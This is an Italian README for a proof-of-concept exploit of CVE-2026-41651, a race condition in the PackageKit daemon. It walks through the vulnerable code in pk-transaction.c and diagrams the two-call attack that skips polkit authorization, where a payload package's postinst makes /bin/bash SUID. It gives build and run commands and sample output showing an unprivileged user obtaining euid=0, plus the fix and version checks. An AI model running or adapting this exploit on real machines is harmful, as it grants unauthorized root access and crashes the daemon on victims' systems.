
Sfrutta una race condition TOCTOU nel gestore delle transazioni di PackageKit per installare pacchetti arbitrari come root, ottenendo un'escalation dei privilegi locali e una shell SUID senza autenticazione.
Corsa TOCTOU nel gestore delle transazioni di PackageKit. Qualsiasi utente locale non privilegiato può installare pacchetti arbitrari come root senza autenticazione.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-41651 |
| Componente | Demone PackageKit (packagekitd) |
| Versioni interessate | 1.0.2 – 1.3.4 |
| Corretto in | 1.3.5 |
| Impatto | Escalation locale dei privilegi → root |
| Autenticazione richiesta | Nessuna |
| Interazione utente | Nessuna |
| Testato su | Ubuntu 24.04, Debian 12 |

Tre bug in src/pk-transaction.c si combinano per creare una finestra TOCTOU tra autorizzazione ed esecuzione.
InstallFiles() sovrascrive incondizionatamente cached_transaction_flags e cached_full_paths senza alcun controllo di stato:
transaction->cached_transaction_flags = transaction_flags;
transaction->cached_full_paths = g_strdupv (full_paths);
pk_transaction_set_state() scarta silenziosamente le transizioni all'indietro. I flag sono già stati sovrascritti, ma lo stato rimane invariato:
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
transaction->state > state) {
g_warning ("cannot set %s, as already %s", ...);
return;
}
pk_transaction_run() legge i flag memorizzati al momento dell'invio (dall'idle di GLib), non al momento dell'autorizzazione:
case PK_ROLE_ENUM_INSTALL_FILES:
pk_backend_install_files (transaction->backend,
transaction->job,
transaction->cached_transaction_flags,
transaction->cached_full_paths);
break;
Impostare PK_TRANSACTION_FLAG_SIMULATE (bit 2, valore 0x4) salta completamente il controllo polkit:
if (pk_bitfield_contain (transaction->cached_transaction_flags,
PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
return TRUE;
}
Attacker packagekitd
│ │
│ CreateTransaction() │
│─────────────────────────────────►│ state = NEW
│◄─────────────────────────────────│
│ │
│ InstallFiles(SIMULATE, dummy) │
│─────────────────────────────────►│ SIMULATE → polkit skipped
│◄─────────────────────────────────│ state = READY
│ │ g_idle_add(run_idle_cb) ← queued
│ │
│ InstallFiles(NONE, payload) │ [BUG 1] flags + paths overwritten
│─────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH)
│◄─────────────────────────────────│ → silently rejected
│ │ state stays READY
│ │
│ [idle fires]│
│ │ pk_transaction_run()
│ │ [BUG 3] reads NONE + payload
│ │ → dpkg installs payload as root
│ │ → postinst: chmod +s /bin/bash
│ │
│ execv("/tmp/.suid_bash -p") │
│─────────────────────────────────►│
│ euid=0(root) │
Entrambe le chiamate InstallFiles vengono inviate come chiamate D-Bus asincrone fire-and-forget prima che il ciclo principale del client esegua un'iterazione. Questo garantisce che entrambi i messaggi arrivino al socket del server prima che l'idle di GLib possa scattare — nessuna race da vincere.
polkitd alla fine restituisce NOT_AUTHORIZED per la seconda chiamata, ma a quel punto APT ha già avviato l'installazione. L'errore è previsto e innocuo.
sudo apt install libglib2.0-dev
make
Nessun'altra dipendenza — i pacchetti .deb vengono compilati in C puro a runtime.
./cve-2026-41651
═══════════════════════════════════════════════════
CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
euid=0 — tutti i controlli dei privilegi nel kernel usano l'UID effettivo.
docker build -t cve-2026-41651 .
docker run -it --rm cve-2026-41651
L'immagine compila PackageKit 1.3.4 dal sorgente (commit 2149735, ultimo commit vulnerabile), avvia dbus + polkitd + packagekitd, quindi esegue l'exploit come utente non privilegiato.
Nota sul g_assert: l'immagine Docker rimuove tramite patch una guardia g_assert (!transaction->emitted_finished) in pk-transaction.c. Su un sistema reale non patchato, questo assert scatta quando il thread di APT tenta di emettere Finished dopo che polkitd lo ha già fatto, mandando in crash il demone via SIGABRT. La bash SUID è già su disco a quel punto, quindi l'escalation dei privilegi riesce — il crash è un effetto collaterale DoS. packagekitd si riavvia alla successiva attivazione D-Bus.
Su PackageKit ≥ 1.3.5 la seconda chiamata viene rifiutata:
[-] Target is PATCHED (PackageKit >= 1.3.5)
La correzione aggiunge una guardia di stato in pk_transaction_method_call():
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
g_dbus_method_invocation_return_error (invocation,
PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, ...);
return;
}
pkcon --version
journalctl -u packagekit --since '5 min ago'